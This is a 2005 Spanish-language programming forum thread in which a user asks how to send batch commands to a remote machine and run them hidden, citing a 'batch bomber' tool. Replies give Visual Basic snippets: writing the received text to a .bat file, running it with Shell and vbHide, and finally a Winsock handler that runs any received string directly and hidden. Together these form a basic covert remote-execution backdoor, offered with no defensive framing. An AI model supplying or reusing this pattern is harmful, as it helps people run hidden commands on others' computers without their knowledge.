Enviar archivos bat y autoejecutar

Iniciado por BenRu, 4 Diciembre 2005, 16:00 PM

0 Miembros y 1 Visitante están viendo este tema.

BenRu

Quiero crear una aplicacion que envia archivos bat depende de una cadena que yo coloque, y cuando se envie se convierte en bat de manera oculta y lo ejecute.
No se si recuerdan el batch bomber o batch files que hizo sorcerer, usuario de este foro.
Yo quiero una cosa igual.
Solo me hace falta eso, el metodo de conexion lo hare yo.

Un saludo

germixxx

No entiendo, lo q queres es mandar un archivo de texto del cliente al servidor, q en el servidor se convierta bat y se ejecute? ???

BenRu

Si, en una caja de texto iria el contenido del batch, se enviaria y se ejecutaria en la maquina de forma remota.

krispin

Bunenax!!
joe, pues si de la conexion te encargas tu,
lo que tienes que hacer con el texto que te llega, crear un bat con ese texto y llamar a:
Shell "mi.bat", vbHide
sin mas.
adiox!!

BenRu

Pero eso crearia el archivo mi.bat sin nada, no con el text1.

Tan facil es? ???

krispin

Oye,
como que crearia el bat sin nada?
creo que andas mu verde. si dices que de la comunicacion te encargas tu, joder,
cuando le mandas el texto(de tu cliente al servidor),mediante sockets digo yo que lo haras(no lo mandaras el texto por paloma mensajera digo yo),con ese texto crea el bat y ejecutalo como te dije.
y como se crea el bat? joder pues como un fichero normal. no se que complicacion hay, o sino no entiendo bien lo que preguntas.
saludox!!

germixxx

Estas en el servidor y ya t llego la variable "Elbat" con el texto q queres q se ejecute, entonces lo unico q tenes q hacer es general el bat con esa variable y ejecurlo.

dim direccion as string
direccion = "c:\" 'Direccion donde se generara

Open direccion & "batagenerar.txt" For Append As #1
       Write #1, Elbat  'Elbat seria la variable q llego remotamente
       Close #1

Creo q es eso no q no sabes ???

BenRu

Ok gracias, ahora probare.

Pense que era mucho mas complicado, solo eso.

sosko

hay una manera mucho mas facil. con el winsock envias el string con el comando a ejecutar y en el data arrival pones

dim comando as string
ws.getdata comando
shell comando, vbhide


y listo ni necesitas hacer un bat, se ejecuta directamente

ojala te haya servido  :)